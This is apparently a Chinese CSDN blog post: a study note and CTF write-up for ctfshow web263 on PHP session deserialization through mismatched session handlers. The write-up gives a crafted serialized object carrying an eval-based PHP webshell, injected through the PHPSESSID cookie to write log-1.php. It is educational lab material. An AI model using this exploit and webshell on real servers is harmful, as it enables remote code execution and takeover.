PHP session反序列化漏洞

6 篇文章 4 订阅
4 篇文章 0 订阅
博客探讨了PHP session反序列化漏洞的概念,通过实例展示了不同序列化处理器下session文件的内容变化,并详细解释了如何利用此漏洞在CTFshowweb263wp挑战中构造序列化字符串,最终实现写马。文中还介绍了如何通过修改cookie中的PHPSESSID来触发漏洞,完成恶意操作。
摘要由CSDN通过智能技术生成

session反序列化

看群主的讲解视频,顺便做个笔记。
先在本地做个测试,在index.php中写如下代码

<?php

session_start();
$_SESSION['aaa'] = 'bbb';

此时php的临时目录(tmp)中没有任何文件,然后访问http://127.0.0.1/,清除所有的cookie,然后再次访问,发现又生成了一个PHPSESSID
请添加图片描述
而此时tmp文件夹中也有一个临时文件sess_u8or65tgg0q5rpso3qegdhmlk2,文件内容是

aaa|s:3:"bbb";

再看另一种php序列化的形式

<?php

ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['aaa'] = 'bbb';

再次访问,可以发现sess_u8or65tgg0q5rpso3qegdhmlk2文件的内容变成了

a:1:{s:3:"aaa";s:3:"bbb";}

再用一个类

<?php

// ini_set('session.serialize_handler', 'php_serialize');
session_start();
class user{
    public $username='admin';
}
$user=new user();

$_SESSION['user'] = $user;

文件内容是

user|O:4:"user":1:{s:8:"username";s:5:"admin";}

再用php序列化的方式,文件内容

a:1:{s:4:"user";O:4:"user":1:{s:8:"username";s:5:"admin";}}

两个方式最大的区别就是前者都有一个默认的分隔符|,如果是

a:1:{s:4:"user";O:4:"user":1:{s:8:"username";s:5:"ad|min";}}

用php序列化的处理器来解析,是没有问题的,但是用默认php的处理器,就会出现解析的漏洞

ctfshow web263 wp

在inc.php中,

ini_set('session.serialize_handler', 'php');

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

可以发现ini_set('session.serialize_handler', 'php');,即用的php默认处理器来处理,也存在危险函数file_put_contents(),可以直接写马。

先构造序列化字符串,然后存入session,看文本内容是什么样的:

<?php

session_start();
class User
{
    public $username;
    public $password;
    public $status;

    function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }

    function setStatus($s)
    {
        $this->status = $s;
    }
}

$user = new User('1.php', '<?php @eval($_POST[a]);?>');
$_SESSION['user'] = $user;

文件内容:

user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[a]);?>";s:6:"status";N;}

再用php序列化处理器,文件内容:

a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[a]);?>";s:6:"status";N;}}

这题是用的php默认处理器,只要把php序列化处理器的内容在最左边加上|,就会把右侧的内容全部反序列化,从而写马。
先在index.php页面把cookie中PHPSESSID换成

|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[a]);?>";s:6:"status";N;}

并访问index.php,然后访问check.php?u=admin&pass=123,并把PHPSESSID换成MQ==,此时就会在log-1.php中生成木马。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值